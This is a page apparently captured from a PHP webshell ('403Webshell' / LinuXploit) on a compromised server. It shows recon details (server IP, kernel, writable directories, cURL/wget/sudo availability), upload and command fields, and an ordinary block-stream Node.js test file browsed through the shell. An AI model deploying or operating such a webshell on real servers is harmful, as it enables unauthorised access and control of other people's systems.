403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vhosts/convo/node_modules/block-stream/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/convo/node_modules/block-stream/test/two-stream.js
var log = console.log,
    assert = require( 'assert' ),
    BlockStream = require("../block-stream.js"),
    isize = 0, tsize = 0, fsize = 0, psize = 0, i = 0,
    filter = null, paper = null, stack = null,

// a source data buffer
tsize = 1 * 1024; // <- 1K
stack = new Buffer( tsize );
for ( ; i < tsize; i++) stack[i] = "x".charCodeAt(0);

isize = 1 * 1024; // <- initial packet size with 4K no bug!
fsize = 2 * 1024 ; // <- first block-stream size 
psize = Math.ceil( isize / 6 ); // <- second block-stream size

fexpected = Math.ceil( tsize / fsize ); // <- packets expected for first 
pexpected = Math.ceil( tsize / psize ); // <- packets expected for second


filter = new BlockStream( fsize, { nopad : true } );
paper = new BlockStream( psize, { nopad : true } );


var fcounter = 0;
filter.on( 'data', function (c) {
  // verify that they're not null-padded
  for (var i = 0; i < c.length; i ++) {
    assert.strictEqual(c[i], "x".charCodeAt(0))
  }
    ++fcounter;
} );

var pcounter = 0;
paper.on( 'data', function (c) {
  // verify that they're not null-padded
  for (var i = 0; i < c.length; i ++) {
    assert.strictEqual(c[i], "x".charCodeAt(0))
  }
    ++pcounter;
} );

filter.pipe( paper );

filter.on( 'end', function () {
  log("fcounter: %s === %s", fcounter, fexpected)
    assert.strictEqual( fcounter, fexpected );
} );

paper.on( 'end', function () {
  log("pcounter: %s === %s", pcounter, pexpected);
    assert.strictEqual( pcounter, pexpected );
} );


for ( i = 0, j = isize; j <= tsize; j += isize ) {
    filter.write( stack.slice( j - isize, j ) );
}

filter.end();

Youez - 2016 - github.com/yon3zu
LinuXploit